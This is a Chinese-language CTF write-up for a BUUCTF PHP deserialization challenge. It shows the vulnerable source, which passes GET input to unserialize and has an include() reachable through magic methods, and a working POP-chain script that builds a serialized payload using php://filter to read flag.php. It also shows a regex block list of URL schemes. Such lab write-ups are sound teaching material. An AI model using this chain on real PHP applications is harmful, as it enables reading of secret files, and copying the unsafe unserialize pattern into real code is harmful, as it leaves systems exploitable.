BUUctf有现成环境,这里附上题目链接,也可以在BUU直接搜索
PHP魔术方法总览
题目分析
//先看下题目给的源码
//要想办法获取到flag.php
class Modifier {
protected $var;
public function append($value){ //定义了方法append,传参value
include($value); //用include可以进行文件包含
}
public function __invoke(){//__invoke 将对象当作函数调用时会自动执行
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){ //构造函数 传入一个字符串参数
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){//__toString 将对象当成字符串使用时会自动执行
return $this->str->source;
}
public function __wakeup(){//反序列化时自动执行
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){ //从不可访问属性获取数据时自动执行 包括private protected和不存在的属性
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']); //反序列化GET提交的pop
}
else{
$a=new Show;
highlight_file(__FILE__);
}
大概看了源码,根据要求需要读取到flag.php的内容,分析下现在拥有的条件
分析隐含的逻辑(接下来的这段文字请边参照源代码边阅读)
那么我们可以将show的对象传给source,因此需要new一个show对象(show2),传递参数show对象(show1,将传给source作为字符串使用)
解题
构造代码如下
/**
1.M T
2.T->p = M
3.$show1->str = T
4.$show2 = new Show($show1)
**/
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';//这里使用伪协议,可以读取出完整的文件
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
}
class Test{
public $p;
}
$M = new Modifier();
$T = new Test();
$show1 = new Show('a');
$show1->str = $T;
$T->p = $M;
$show2 = new Show($show1);
$pyl = urlencode(serialize($show2));
echo $pyl;
?>
总结关键词
- include 可以包含PHP伪协议
- PHP魔术方法(magic methods)
- POP chain(POP链)